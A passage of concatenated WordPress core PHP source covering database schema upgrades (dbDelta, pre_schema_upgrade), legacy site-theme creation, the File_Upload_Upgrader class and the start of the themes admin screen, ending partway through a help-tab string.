										(?:[0-9a-zA-Z$_-]|[\xC2-\xDF][\x80-\xBF])+
									)
								`?                      # Name can be escaped with a backtick.
								\s+                     # Followed by at least one white space character.
							)*
							\(                          # Opening bracket for the columns.
								(?P<index_columns>
									.+?                 # 3) Column names, index prefixes, and orders.
								)
							\)                          # Closing bracket for the columns.
						$/imx',
						$fld,
						$index_matches
					);

					// Uppercase the index type and normalize space characters.
					$index_type = strtoupper( preg_replace( '/\s+/', ' ', trim( $index_matches['index_type'] ) ) );

					// 'INDEX' is a synonym for 'KEY', standardize on 'KEY'.
					$index_type = str_replace( 'INDEX', 'KEY', $index_type );

					// Escape the index name with backticks. An index for a primary key has no name.
					$index_name = ( 'PRIMARY KEY' === $index_type ) ? '' : '`' . strtolower( $index_matches['index_name'] ) . '`';

					// Parse the columns. Multiple columns are separated by a comma.
					$index_columns                  = array_map( 'trim', explode( ',', $index_matches['index_columns'] ) );
					$index_columns_without_subparts = $index_columns;

					// Normalize columns.
					foreach ( $index_columns as $id => &$index_column ) {
						// Extract column name and number of indexed characters (sub_part).
						preg_match(
							'/
								`?                      # Name can be escaped with a backtick.
									(?P<column_name>    # 1) Name of the column.
										(?:[0-9a-zA-Z$_-]|[\xC2-\xDF][\x80-\xBF])+
									)
								`?                      # Name can be escaped with a backtick.
								(?:                     # Optional sub part.
									\s*                 # Optional white space character between name and opening bracket.
									\(                  # Opening bracket for the sub part.
										\s*             # Optional white space character after opening bracket.
										(?P<sub_part>
											\d+         # 2) Number of indexed characters.
										)
										\s*             # Optional white space character before closing bracket.
									\)                  # Closing bracket for the sub part.
								)?
							/x',
							$index_column,
							$index_column_matches
						);

						// Escape the column name with backticks.
						$index_column = '`' . $index_column_matches['column_name'] . '`';

						// We don't need to add the subpart to $index_columns_without_subparts
						$index_columns_without_subparts[ $id ] = $index_column;

						// Append the optional sup part with the number of indexed characters.
						if ( isset( $index_column_matches['sub_part'] ) ) {
							$index_column .= '(' . $index_column_matches['sub_part'] . ')';
						}
					}

					// Build the normalized index definition and add it to the list of indices.
					$indices[]                  = "{$index_type} {$index_name} (" . implode( ',', $index_columns ) . ')';
					$indices_without_subparts[] = "{$index_type} {$index_name} (" . implode( ',', $index_columns_without_subparts ) . ')';

					// Destroy no longer needed variables.
					unset( $index_column, $index_column_matches, $index_matches, $index_type, $index_name, $index_columns, $index_columns_without_subparts );

					break;
			}

			// If it's a valid field, add it to the field array.
			if ( $validfield ) {
				$cfields[ $fieldname_lowercased ] = $fld;
			}
		}

		// For every field in the table.
		foreach ( $tablefields as $tablefield ) {
			$tablefield_field_lowercased = strtolower( $tablefield->Field );
			$tablefield_type_lowercased  = strtolower( $tablefield->Type );

			$tablefield_type_without_parentheses = preg_replace(
				'/'
				. '(.+)'       // Field type, e.g. `int`.
				. '\(\d*\)'    // Display width.
				. '(.*)'       // Optional attributes, e.g. `unsigned`.
				. '/',
				'$1$2',
				$tablefield_type_lowercased
			);

			// Get the type without attributes, e.g. `int`.
			$tablefield_type_base = strtok( $tablefield_type_without_parentheses, ' ' );

			// If the table field exists in the field array...
			if ( array_key_exists( $tablefield_field_lowercased, $cfields ) ) {

				// Get the field type from the query.
				preg_match( '|`?' . $tablefield->Field . '`? ([^ ]*( unsigned)?)|i', $cfields[ $tablefield_field_lowercased ], $matches );
				$fieldtype            = $matches[1];
				$fieldtype_lowercased = strtolower( $fieldtype );

				$fieldtype_without_parentheses = preg_replace(
					'/'
					. '(.+)'       // Field type, e.g. `int`.
					. '\(\d*\)'    // Display width.
					. '(.*)'       // Optional attributes, e.g. `unsigned`.
					. '/',
					'$1$2',
					$fieldtype_lowercased
				);

				// Get the type without attributes, e.g. `int`.
				$fieldtype_base = strtok( $fieldtype_without_parentheses, ' ' );

				// Is actual field type different from the field type in query?
				if ( $tablefield->Type != $fieldtype ) {
					$do_change = true;
					if ( in_array( $fieldtype_lowercased, $text_fields, true ) && in_array( $tablefield_type_lowercased, $text_fields, true ) ) {
						if ( array_search( $fieldtype_lowercased, $text_fields, true ) < array_search( $tablefield_type_lowercased, $text_fields, true ) ) {
							$do_change = false;
						}
					}

					if ( in_array( $fieldtype_lowercased, $blob_fields, true ) && in_array( $tablefield_type_lowercased, $blob_fields, true ) ) {
						if ( array_search( $fieldtype_lowercased, $blob_fields, true ) < array_search( $tablefield_type_lowercased, $blob_fields, true ) ) {
							$do_change = false;
						}
					}

					if ( in_array( $fieldtype_base, $int_fields, true ) && in_array( $tablefield_type_base, $int_fields, true )
						&& $fieldtype_without_parentheses === $tablefield_type_without_parentheses
					) {
						/*
						 * MySQL 8.0.17 or later does not support display width for integer data types,
						 * so if display width is the only difference, it can be safely ignored.
						 * Note: This is specific to MySQL and does not affect MariaDB.
						 */
						if ( version_compare( $db_version, '8.0.17', '>=' )
							&& ! str_contains( $db_server_info, 'MariaDB' )
						) {
							$do_change = false;
						}
					}

					if ( $do_change ) {
						// Add a query to change the column type.
						$cqueries[] = "ALTER TABLE {$table} CHANGE COLUMN `{$tablefield->Field}` " . $cfields[ $tablefield_field_lowercased ];

						$for_update[ $table . '.' . $tablefield->Field ] = "Changed type of {$table}.{$tablefield->Field} from {$tablefield->Type} to {$fieldtype}";
					}
				}

				// Get the default value from the array.
				if ( preg_match( "| DEFAULT '(.*?)'|i", $cfields[ $tablefield_field_lowercased ], $matches ) ) {
					$default_value = $matches[1];
					if ( $tablefield->Default != $default_value ) {
						// Add a query to change the column's default value
						$cqueries[] = "ALTER TABLE {$table} ALTER COLUMN `{$tablefield->Field}` SET DEFAULT '{$default_value}'";

						$for_update[ $table . '.' . $tablefield->Field ] = "Changed default value of {$table}.{$tablefield->Field} from {$tablefield->Default} to {$default_value}";
					}
				}

				// Remove the field from the array (so it's not added).
				unset( $cfields[ $tablefield_field_lowercased ] );
			} else {
				// This field exists in the table, but not in the creation queries?
			}
		}

		// For every remaining field specified for the table.
		foreach ( $cfields as $fieldname => $fielddef ) {
			// Push a query line into $cqueries that adds the field to that table.
			$cqueries[] = "ALTER TABLE {$table} ADD COLUMN $fielddef";

			$for_update[ $table . '.' . $fieldname ] = 'Added column ' . $table . '.' . $fieldname;
		}

		// Index stuff goes here. Fetch the table index structure from the database.
		$tableindices = $wpdb->get_results( "SHOW INDEX FROM {$table};" );

		if ( $tableindices ) {
			// Clear the index array.
			$index_ary = array();

			// For every index in the table.
			foreach ( $tableindices as $tableindex ) {
				$keyname = strtolower( $tableindex->Key_name );

				// Add the index to the index data array.
				$index_ary[ $keyname ]['columns'][]  = array(
					'fieldname' => $tableindex->Column_name,
					'subpart'   => $tableindex->Sub_part,
				);
				$index_ary[ $keyname ]['unique']     = ( 0 == $tableindex->Non_unique ) ? true : false;
				$index_ary[ $keyname ]['index_type'] = $tableindex->Index_type;
			}

			// For each actual index in the index array.
			foreach ( $index_ary as $index_name => $index_data ) {

				// Build a create string to compare to the query.
				$index_string = '';
				if ( 'primary' === $index_name ) {
					$index_string .= 'PRIMARY ';
				} elseif ( $index_data['unique'] ) {
					$index_string .= 'UNIQUE ';
				}

				if ( 'FULLTEXT' === strtoupper( $index_data['index_type'] ) ) {
					$index_string .= 'FULLTEXT ';
				}

				if ( 'SPATIAL' === strtoupper( $index_data['index_type'] ) ) {
					$index_string .= 'SPATIAL ';
				}

				$index_string .= 'KEY ';
				if ( 'primary' !== $index_name ) {
					$index_string .= '`' . $index_name . '`';
				}

				$index_columns = '';

				// For each column in the index.
				foreach ( $index_data['columns'] as $column_data ) {
					if ( '' !== $index_columns ) {
						$index_columns .= ',';
					}

					// Add the field to the column list string.
					$index_columns .= '`' . $column_data['fieldname'] . '`';
				}

				// Add the column list to the index create string.
				$index_string .= " ($index_columns)";

				// Check if the index definition exists, ignoring subparts.
				$aindex = array_search( $index_string, $indices_without_subparts, true );
				if ( false !== $aindex ) {
					// If the index already exists (even with different subparts), we don't need to create it.
					unset( $indices_without_subparts[ $aindex ] );
					unset( $indices[ $aindex ] );
				}
			}
		}

		// For every remaining index specified for the table.
		foreach ( (array) $indices as $index ) {
			// Push a query line into $cqueries that adds the index to that table.
			$cqueries[] = "ALTER TABLE {$table} ADD $index";

			$for_update[] = 'Added index ' . $table . ' ' . $index;
		}

		// Remove the original table creation query from processing.
		unset( $cqueries[ $table ], $for_update[ $table ] );
	}

	$allqueries = array_merge( $cqueries, $iqueries );
	if ( $execute ) {
		foreach ( $allqueries as $query ) {
			$wpdb->query( $query );
		}
	}

	return $for_update;
}

/**
 * Updates the database tables to a new schema.
 *
 * By default, updates all the tables to use the latest defined schema, but can also
 * be used to update a specific set of tables in wp_get_db_schema().
 *
 * @since 1.5.0
 *
 * @uses dbDelta
 *
 * @param string $tables Optional. Which set of tables to update. Default is 'all'.
 */
function make_db_current( $tables = 'all' ) {
	$alterations = dbDelta( $tables );
	echo "<ol>\n";
	foreach ( $alterations as $alteration ) {
		echo "<li>$alteration</li>\n";
	}
	echo "</ol>\n";
}

/**
 * Updates the database tables to a new schema, but without displaying results.
 *
 * By default, updates all the tables to use the latest defined schema, but can
 * also be used to update a specific set of tables in wp_get_db_schema().
 *
 * @since 1.5.0
 *
 * @see make_db_current()
 *
 * @param string $tables Optional. Which set of tables to update. Default is 'all'.
 */
function make_db_current_silent( $tables = 'all' ) {
	dbDelta( $tables );
}

/**
 * Creates a site theme from an existing theme.
 *
 * {@internal Missing Long Description}}
 *
 * @since 1.5.0
 *
 * @param string $theme_name The name of the theme.
 * @param string $template   The directory name of the theme.
 * @return bool
 */
function make_site_theme_from_oldschool( $theme_name, $template ) {
	$home_path   = get_home_path();
	$site_dir    = WP_CONTENT_DIR . "/themes/$template";
	$default_dir = WP_CONTENT_DIR . '/themes/' . WP_DEFAULT_THEME;

	if ( ! file_exists( "$home_path/index.php" ) ) {
		return false;
	}

	/*
	 * Copy files from the old locations to the site theme.
	 * TODO: This does not copy arbitrary include dependencies. Only the standard WP files are copied.
	 */
	$files = array(
		'index.php'             => 'index.php',
		'wp-layout.css'         => 'style.css',
		'wp-comments.php'       => 'comments.php',
		'wp-comments-popup.php' => 'comments-popup.php',
	);

	foreach ( $files as $oldfile => $newfile ) {
		if ( 'index.php' === $oldfile ) {
			$oldpath = $home_path;
		} else {
			$oldpath = ABSPATH;
		}

		// Check to make sure it's not a new index.
		if ( 'index.php' === $oldfile ) {
			$index = implode( '', file( "$oldpath/$oldfile" ) );
			if ( str_contains( $index, 'WP_USE_THEMES' ) ) {
				if ( ! copy( "$default_dir/$oldfile", "$site_dir/$newfile" ) ) {
					return false;
				}

				// Don't copy anything.
				continue;
			}
		}

		if ( ! copy( "$oldpath/$oldfile", "$site_dir/$newfile" ) ) {
			return false;
		}

		chmod( "$site_dir/$newfile", 0777 );

		// Update the blog header include in each file.
		$lines = explode( "\n", implode( '', file( "$site_dir/$newfile" ) ) );
		if ( $lines ) {
			$f = fopen( "$site_dir/$newfile", 'w' );

			foreach ( $lines as $line ) {
				if ( preg_match( '/require.*wp-blog-header/', $line ) ) {
					$line = '//' . $line;
				}

				// Update stylesheet references.
				$line = str_replace(
					"<?php echo __get_option('siteurl'); ?>/wp-layout.css",
					"<?php bloginfo('stylesheet_url'); ?>",
					$line
				);

				// Update comments template inclusion.
				$line = str_replace(
					"<?php include(ABSPATH . 'wp-comments.php'); ?>",
					'<?php comments_template(); ?>',
					$line
				);

				fwrite( $f, "{$line}\n" );
			}
			fclose( $f );
		}
	}

	// Add a theme header.
	$header = "/*\n" .
		"Theme Name: $theme_name\n" .
		'Theme URI: ' . __get_option( 'siteurl' ) . "\n" .
		"Description: A theme automatically created by the update.\n" .
		"Version: 1.0\n" .
		"Author: Moi\n" .
		"*/\n";

	$stylelines = file_get_contents( "$site_dir/style.css" );
	if ( $stylelines ) {
		$f = fopen( "$site_dir/style.css", 'w' );

		fwrite( $f, $header );
		fwrite( $f, $stylelines );
		fclose( $f );
	}

	return true;
}

/**
 * Creates a site theme from the default theme.
 *
 * {@internal Missing Long Description}}
 *
 * @since 1.5.0
 *
 * @param string $theme_name The name of the theme.
 * @param string $template   The directory name of the theme.
 * @return void|false
 */
function make_site_theme_from_default( $theme_name, $template ) {
	$site_dir    = WP_CONTENT_DIR . "/themes/$template";
	$default_dir = WP_CONTENT_DIR . '/themes/' . WP_DEFAULT_THEME;

	/*
	 * Copy files from the default theme to the site theme.
	 * $files = array( 'index.php', 'comments.php', 'comments-popup.php', 'footer.php', 'header.php', 'sidebar.php', 'style.css' );
	 */

	$theme_dir = @opendir( $default_dir );
	if ( $theme_dir ) {
		while ( ( $theme_file = readdir( $theme_dir ) ) !== false ) {
			if ( is_dir( "$default_dir/$theme_file" ) ) {
				continue;
			}

			if ( ! copy( "$default_dir/$theme_file", "$site_dir/$theme_file" ) ) {
				return;
			}

			chmod( "$site_dir/$theme_file", 0777 );
		}

		closedir( $theme_dir );
	}

	// Rewrite the theme header.
	$stylelines = explode( "\n", implode( '', file( "$site_dir/style.css" ) ) );
	if ( $stylelines ) {
		$f = fopen( "$site_dir/style.css", 'w' );

		$headers = array(
			'Theme Name:'  => $theme_name,
			'Theme URI:'   => __get_option( 'url' ),
			'Description:' => 'Your theme.',
			'Version:'     => '1',
			'Author:'      => 'You',
		);

		foreach ( $stylelines as $line ) {
			foreach ( $headers as $header => $value ) {
				if ( str_contains( $line, $header ) ) {
					$line = $header . ' ' . $value;
					break;
				}
			}

			fwrite( $f, $line . "\n" );
		}

		fclose( $f );
	}

	// Copy the images.
	umask( 0 );
	if ( ! mkdir( "$site_dir/images", 0777 ) ) {
		return false;
	}

	$images_dir = @opendir( "$default_dir/images" );
	if ( $images_dir ) {
		while ( ( $image = readdir( $images_dir ) ) !== false ) {
			if ( is_dir( "$default_dir/images/$image" ) ) {
				continue;
			}

			if ( ! copy( "$default_dir/images/$image", "$site_dir/images/$image" ) ) {
				return;
			}

			chmod( "$site_dir/images/$image", 0777 );
		}

		closedir( $images_dir );
	}
}

/**
 * Creates a site theme.
 *
 * {@internal Missing Long Description}}
 *
 * @since 1.5.0
 *
 * @return string|false
 */
function make_site_theme() {
	// Name the theme after the blog.
	$theme_name = __get_option( 'blogname' );
	$template   = sanitize_title( $theme_name );
	$site_dir   = WP_CONTENT_DIR . "/themes/$template";

	// If the theme already exists, nothing to do.
	if ( is_dir( $site_dir ) ) {
		return false;
	}

	// We must be able to write to the themes dir.
	if ( ! is_writable( WP_CONTENT_DIR . '/themes' ) ) {
		return false;
	}

	umask( 0 );
	if ( ! mkdir( $site_dir, 0777 ) ) {
		return false;
	}

	if ( file_exists( ABSPATH . 'wp-layout.css' ) ) {
		if ( ! make_site_theme_from_oldschool( $theme_name, $template ) ) {
			// TODO: rm -rf the site theme directory.
			return false;
		}
	} else {
		if ( ! make_site_theme_from_default( $theme_name, $template ) ) {
			// TODO: rm -rf the site theme directory.
			return false;
		}
	}

	// Make the new site theme active.
	$current_template = __get_option( 'template' );
	if ( WP_DEFAULT_THEME == $current_template ) {
		update_option( 'template', $template );
		update_option( 'stylesheet', $template );
	}
	return $template;
}

/**
 * Translate user level to user role name.
 *
 * @since 2.0.0
 *
 * @param int $level User level.
 * @return string User role name.
 */
function translate_level_to_role( $level ) {
	switch ( $level ) {
		case 10:
		case 9:
		case 8:
			return 'administrator';
		case 7:
		case 6:
		case 5:
			return 'editor';
		case 4:
		case 3:
		case 2:
			return 'author';
		case 1:
			return 'contributor';
		case 0:
		default:
			return 'subscriber';
	}
}

/**
 * Checks the version of the installed MySQL binary.
 *
 * @since 2.1.0
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 */
function wp_check_mysql_version() {
	global $wpdb;
	$result = $wpdb->check_database_version();
	if ( is_wp_error( $result ) ) {
		wp_die( $result );
	}
}

/**
 * Disables the Automattic widgets plugin, which was merged into core.
 *
 * @since 2.2.0
 */
function maybe_disable_automattic_widgets() {
	$plugins = __get_option( 'active_plugins' );

	foreach ( (array) $plugins as $plugin ) {
		if ( 'widgets.php' === basename( $plugin ) ) {
			array_splice( $plugins, array_search( $plugin, $plugins, true ), 1 );
			update_option( 'active_plugins', $plugins );
			break;
		}
	}
}

/**
 * Disables the Link Manager on upgrade if, at the time of upgrade, no links exist in the DB.
 *
 * @since 3.5.0
 *
 * @global int  $wp_current_db_version The old (current) database version.
 * @global wpdb $wpdb                  WordPress database abstraction object.
 */
function maybe_disable_link_manager() {
	global $wp_current_db_version, $wpdb;

	if ( $wp_current_db_version >= 22006 && get_option( 'link_manager_enabled' ) && ! $wpdb->get_var( "SELECT link_id FROM $wpdb->links LIMIT 1" ) ) {
		update_option( 'link_manager_enabled', 0 );
	}
}

/**
 * Runs before the schema is upgraded.
 *
 * @since 2.9.0
 *
 * @global int  $wp_current_db_version The old (current) database version.
 * @global wpdb $wpdb                  WordPress database abstraction object.
 */
function pre_schema_upgrade() {
	global $wp_current_db_version, $wpdb;

	// Upgrade versions prior to 2.9.
	if ( $wp_current_db_version < 11557 ) {
		// Delete duplicate options. Keep the option with the highest option_id.
		$wpdb->query( "DELETE o1 FROM $wpdb->options AS o1 JOIN $wpdb->options AS o2 USING (`option_name`) WHERE o2.option_id > o1.option_id" );

		// Drop the old primary key and add the new.
		$wpdb->query( "ALTER TABLE $wpdb->options DROP PRIMARY KEY, ADD PRIMARY KEY(option_id)" );

		// Drop the old option_name index. dbDelta() doesn't do the drop.
		$wpdb->query( "ALTER TABLE $wpdb->options DROP INDEX option_name" );
	}

	// Multisite schema upgrades.
	if ( $wp_current_db_version < 25448 && is_multisite() && wp_should_upgrade_global_tables() ) {

		// Upgrade versions prior to 3.7.
		if ( $wp_current_db_version < 25179 ) {
			// New primary key for signups.
			$wpdb->query( "ALTER TABLE $wpdb->signups ADD signup_id BIGINT(20) NOT NULL AUTO_INCREMENT PRIMARY KEY FIRST" );
			$wpdb->query( "ALTER TABLE $wpdb->signups DROP INDEX domain" );
		}

		if ( $wp_current_db_version < 25448 ) {
			// Convert archived from enum to tinyint.
			$wpdb->query( "ALTER TABLE $wpdb->blogs CHANGE COLUMN archived archived varchar(1) NOT NULL default '0'" );
			$wpdb->query( "ALTER TABLE $wpdb->blogs CHANGE COLUMN archived archived tinyint(2) NOT NULL default 0" );
		}
	}

	// Upgrade versions prior to 4.2.
	if ( $wp_current_db_version < 31351 ) {
		if ( ! is_multisite() && wp_should_upgrade_global_tables() ) {
			$wpdb->query( "ALTER TABLE $wpdb->usermeta DROP INDEX meta_key, ADD INDEX meta_key(meta_key(191))" );
		}
		$wpdb->query( "ALTER TABLE $wpdb->terms DROP INDEX slug, ADD INDEX slug(slug(191))" );
		$wpdb->query( "ALTER TABLE $wpdb->terms DROP INDEX name, ADD INDEX name(name(191))" );
		$wpdb->query( "ALTER TABLE $wpdb->commentmeta DROP INDEX meta_key, ADD INDEX meta_key(meta_key(191))" );
		$wpdb->query( "ALTER TABLE $wpdb->postmeta DROP INDEX meta_key, ADD INDEX meta_key(meta_key(191))" );
		$wpdb->query( "ALTER TABLE $wpdb->posts DROP INDEX post_name, ADD INDEX post_name(post_name(191))" );
	}

	// Upgrade versions prior to 4.4.
	if ( $wp_current_db_version < 34978 ) {
		// If compatible termmeta table is found, use it, but enforce a proper index and update collation.
		if ( $wpdb->get_var( "SHOW TABLES LIKE '{$wpdb->termmeta}'" ) && $wpdb->get_results( "SHOW INDEX FROM {$wpdb->termmeta} WHERE Column_name = 'meta_key'" ) ) {
			$wpdb->query( "ALTER TABLE $wpdb->termmeta DROP INDEX meta_key, ADD INDEX meta_key(meta_key(191))" );
			maybe_convert_table_to_utf8mb4( $wpdb->termmeta );
		}
	}
}

/**
 * Determine if global tables should be upgraded.
 *
 * This function performs a series of checks to ensure the environment allows
 * for the safe upgrading of global WordPress database tables. It is necessary
 * because global tables will commonly grow to millions of rows on large
 * installations, and the ability to control their upgrade routines can be
 * critical to the operation of large networks.
 *
 * In a future iteration, this function may use `wp_is_large_network()` to more-
 * intelligently prevent global table upgrades. Until then, we make sure
 * WordPress is on the main site of the main network, to avoid running queries
 * more than once in multi-site or multi-network environments.
 *
 * @since 4.3.0
 *
 * @return bool Whether to run the upgrade routines on global tables.
 */
function wp_should_upgrade_global_tables() {

	// Return false early if explicitly not upgrading.
	if ( defined( 'DO_NOT_UPGRADE_GLOBAL_TABLES' ) ) {
		return false;
	}

	// Assume global tables should be upgraded.
	$should_upgrade = true;

	// Set to false if not on main network (does not matter if not multi-network).
	if ( ! is_main_network() ) {
		$should_upgrade = false;
	}

	// Set to false if not on main site of current network (does not matter if not multi-site).
	if ( ! is_main_site() ) {
		$should_upgrade = false;
	}

	/**
	 * Filters if upgrade routines should be run on global tables.
	 *
	 * @since 4.3.0
	 *
	 * @param bool $should_upgrade Whether to run the upgrade routines on global tables.
	 */
	return apply_filters( 'wp_should_upgrade_global_tables', $should_upgrade );
}
<?php
/**
 * Upgrade API: File_Upload_Upgrader class
 *
 * @package WordPress
 * @subpackage Upgrader
 * @since 4.6.0
 */

/**
 * Core class used for handling file uploads.
 *
 * This class handles the upload process and passes it as if it's a local file
 * to the Upgrade/Installer functions.
 *
 * @since 2.8.0
 * @since 4.6.0 Moved to its own file from wp-admin/includes/class-wp-upgrader.php.
 */
#[AllowDynamicProperties]
class File_Upload_Upgrader {

	/**
	 * The full path to the file package.
	 *
	 * @since 2.8.0
	 * @var string $package
	 */
	public $package;

	/**
	 * The name of the file.
	 *
	 * @since 2.8.0
	 * @var string $filename
	 */
	public $filename;

	/**
	 * The ID of the attachment post for this file.
	 *
	 * @since 3.3.0
	 * @var int $id
	 */
	public $id = 0;

	/**
	 * Construct the upgrader for a form.
	 *
	 * @since 2.8.0
	 *
	 * @param string $form      The name of the form the file was uploaded from.
	 * @param string $urlholder The name of the `GET` parameter that holds the filename.
	 */
	public function __construct( $form, $urlholder ) {

		if ( empty( $_FILES[ $form ]['name'] ) && empty( $_GET[ $urlholder ] ) ) {
			wp_die( __( 'Please select a file' ) );
		}

		// Handle a newly uploaded file. Else, assume it's already been uploaded.
		if ( ! empty( $_FILES ) ) {
			$overrides = array(
				'test_form' => false,
				'test_type' => false,
			);
			$file      = wp_handle_upload( $_FILES[ $form ], $overrides );

			if ( isset( $file['error'] ) ) {
				wp_die( $file['error'] );
			}

			if ( 'pluginzip' === $form || 'themezip' === $form ) {
				if ( ! wp_zip_file_is_valid( $file['file'] ) ) {
					wp_delete_file( $file['file'] );
					wp_die( __( 'Incompatible Archive.' ) );
				}
			}

			$this->filename = $_FILES[ $form ]['name'];
			$this->package  = $file['file'];

			// Construct the attachment array.
			$attachment = array(
				'post_title'     => $this->filename,
				'post_content'   => $file['url'],
				'post_mime_type' => $file['type'],
				'guid'           => $file['url'],
				'context'        => 'upgrader',
				'post_status'    => 'private',
			);

			// Save the data.
			$this->id = wp_insert_attachment( $attachment, $file['file'] );

			// Schedule a cleanup for 2 hours from now in case of failed installation.
			wp_schedule_single_event( time() + 2 * HOUR_IN_SECONDS, 'upgrader_scheduled_cleanup', array( $this->id ) );

		} elseif ( is_numeric( $_GET[ $urlholder ] ) ) {
			// Numeric Package = previously uploaded file, see above.
			$this->id   = (int) $_GET[ $urlholder ];
			$attachment = get_post( $this->id );
			if ( empty( $attachment ) ) {
				wp_die( __( 'Please select a file' ) );
			}

			$this->filename = $attachment->post_title;
			$this->package  = get_attached_file( $attachment->ID );
		} else {
			// Else, It's set to something, Back compat for plugins using the old (pre-3.3) File_Uploader handler.
			$uploads = wp_upload_dir();
			if ( ! ( $uploads && false === $uploads['error'] ) ) {
				wp_die( $uploads['error'] );
			}

			$this->filename = sanitize_file_name( $_GET[ $urlholder ] );
			$this->package  = $uploads['basedir'] . '/' . $this->filename;

			if ( ! str_starts_with( realpath( $this->package ), realpath( $uploads['basedir'] ) ) ) {
				wp_die( __( 'Please select a file' ) );
			}
		}
	}

	/**
	 * Deletes the attachment/uploaded file.
	 *
	 * @since 3.2.2
	 *
	 * @return bool Whether the cleanup was successful.
	 */
	public function cleanup() {
		if ( $this->id ) {
			wp_delete_attachment( $this->id );

		} elseif ( file_exists( $this->package ) ) {
			return @unlink( $this->package );
		}

		return true;
	}
}
<?php
/**
 * WordPress Upgrade Functions. Old file, must not be used. Include
 * wp-admin/includes/upgrade.php instead.
 *
 * @deprecated 2.5.0
 * @package WordPress
 * @subpackage Administration
 */

_deprecated_file( basename( __FILE__ ), '2.5.0', 'wp-admin/includes/upgrade.php' );
require_once ABSPATH . 'wp-admin/includes/upgrade.php';
<?php
/**
 * Themes administration panel.
 *
 * @package WordPress
 * @subpackage Administration
 */

/** WordPress Administration Bootstrap */
require_once __DIR__ . '/admin.php';

if ( ! current_user_can( 'switch_themes' ) && ! current_user_can( 'edit_theme_options' ) ) {
	wp_die(
		'<h1>' . __( 'You need a higher level of permission.' ) . '</h1>' .
		'<p>' . __( 'Sorry, you are not allowed to edit theme options on this site.' ) . '</p>',
		403
	);
}

if ( current_user_can( 'switch_themes' ) && isset( $_GET['action'] ) ) {
	if ( 'activate' === $_GET['action'] ) {
		check_admin_referer( 'switch-theme_' . $_GET['stylesheet'] );
		$theme = wp_get_theme( $_GET['stylesheet'] );

		if ( ! $theme->exists() || ! $theme->is_allowed() ) {
			wp_die(
				'<h1>' . __( 'Something went wrong.' ) . '</h1>' .
				'<p>' . __( 'The requested theme does not exist.' ) . '</p>',
				403
			);
		}

		switch_theme( $theme->get_stylesheet() );
		wp_redirect( admin_url( 'themes.php?activated=true' ) );
		exit;
	} elseif ( 'resume' === $_GET['action'] ) {
		check_admin_referer( 'resume-theme_' . $_GET['stylesheet'] );
		$theme = wp_get_theme( $_GET['stylesheet'] );

		if ( ! current_user_can( 'resume_theme', $_GET['stylesheet'] ) ) {
			wp_die(
				'<h1>' . __( 'You need a higher level of permission.' ) . '</h1>' .
				'<p>' . __( 'Sorry, you are not allowed to resume this theme.' ) . '</p>',
				403
			);
		}

		$result = resume_theme( $theme->get_stylesheet(), self_admin_url( 'themes.php?error=resuming' ) );

		if ( is_wp_error( $result ) ) {
			wp_die( $result );
		}

		wp_redirect( admin_url( 'themes.php?resumed=true' ) );
		exit;
	} elseif ( 'delete' === $_GET['action'] ) {
		check_admin_referer( 'delete-theme_' . $_GET['stylesheet'] );
		$theme = wp_get_theme( $_GET['stylesheet'] );

		if ( ! current_user_can( 'delete_themes' ) ) {
			wp_die(
				'<h1>' . __( 'You need a higher level of permission.' ) . '</h1>' .
				'<p>' . __( 'Sorry, you are not allowed to delete this item.' ) . '</p>',
				403
			);
		}

		if ( ! $theme->exists() ) {
			wp_die(
				'<h1>' . __( 'Something went wrong.' ) . '</h1>' .
				'<p>' . __( 'The requested theme does not exist.' ) . '</p>',
				403
			);
		}

		$active = wp_get_theme();
		if ( $active->get( 'Template' ) === $_GET['stylesheet'] ) {
			wp_redirect( admin_url( 'themes.php?delete-active-child=true' ) );
		} else {
			delete_theme( $_GET['stylesheet'] );
			wp_redirect( admin_url( 'themes.php?deleted=true' ) );
		}
		exit;
	} elseif ( 'enable-auto-update' === $_GET['action'] ) {
		if ( ! ( current_user_can( 'update_themes' ) && wp_is_auto_update_enabled_for_type( 'theme' ) ) ) {
			wp_die( __( 'Sorry, you are not allowed to enable themes automatic updates.' ) );
		}

		check_admin_referer( 'updates' );

		$all_items    = wp_get_themes();
		$auto_updates = (array) get_site_option( 'auto_update_themes', array() );

		$auto_updates[] = $_GET['stylesheet'];
		$auto_updates   = array_unique( $auto_updates );
		// Remove themes that have been deleted since the site option was last updated.
		$auto_updates = array_intersect( $auto_updates, array_keys( $all_items ) );

		update_site_option( 'auto_update_themes', $auto_updates );

		wp_redirect( admin_url( 'themes.php?enabled-auto-update=true' ) );

		exit;
	} elseif ( 'disable-auto-update' === $_GET['action'] ) {
		if ( ! ( current_user_can( 'update_themes' ) && wp_is_auto_update_enabled_for_type( 'theme' ) ) ) {
			wp_die( __( 'Sorry, you are not allowed to disable themes automatic updates.' ) );
		}

		check_admin_referer( 'updates' );

		$all_items    = wp_get_themes();
		$auto_updates = (array) get_site_option( 'auto_update_themes', array() );

		$auto_updates = array_diff( $auto_updates, array( $_GET['stylesheet'] ) );
		// Remove themes that have been deleted since the site option was last updated.
		$auto_updates = array_intersect( $auto_updates, array_keys( $all_items ) );

		update_site_option( 'auto_update_themes', $auto_updates );

		wp_redirect( admin_url( 'themes.php?disabled-auto-update=true' ) );

		exit;
	}
}

// Used in the HTML title tag.
$title       = __( 'Themes' );
$parent_file = 'themes.php';

// Help tab: Overview.
if ( current_user_can( 'switch_themes' ) ) {
	$help_overview = '<p>' . __( 'This screen is used for managing your installed themes. Aside from the default theme(s) included with your WordPress installation, themes are designed and developed by third parties.' ) . '</p>' .
		'<p>' . __( 'From this screen you can:' ) . '</p>' .
		'<ul><li>' . __( 'Hover or tap to see Activate and Live Preview buttons' ) . '</li>' .
		'<li>' . __( 'Click on the theme to see the theme name, version, author, description, tags, and the Delete link' ) . '</li>' .
		'<li>' . __( 'Click Customize for the active theme or Live Preview for any other theme to see a live preview' ) . '</li></ul>' .
		'<p>' . __( 'The active theme is displayed highlighted as the first theme.' ) . '</p>' .
		'<p>' . __( 'The search for installed themes will search for terms in their name, description, author, or tag.' ) . ' <span id="live-search-desc">' . __( 'The search results will be updated as you type.' ) . '</span></p>';

	get_current_screen()->add_help_tab(
		array(
			'id'      => 'overview',
			'title'   => __( 'Overview' ),
			'content' => $help_overview,
		)
	);
} // End if 'switch_themes'.

// Help tab: Adding Themes.
if ( current_user_can( 'install_themes' ) ) {
	if ( is_multisite() ) {
		$help_install = '<p>' . __( 'Installing themes on Multisite can only be done from the Network Admin section.' ) . '</p>';
	} else {
		$help_install = '<p>' . sprintf(
			/* translators: %s: https://wordpress.org/themes/ */
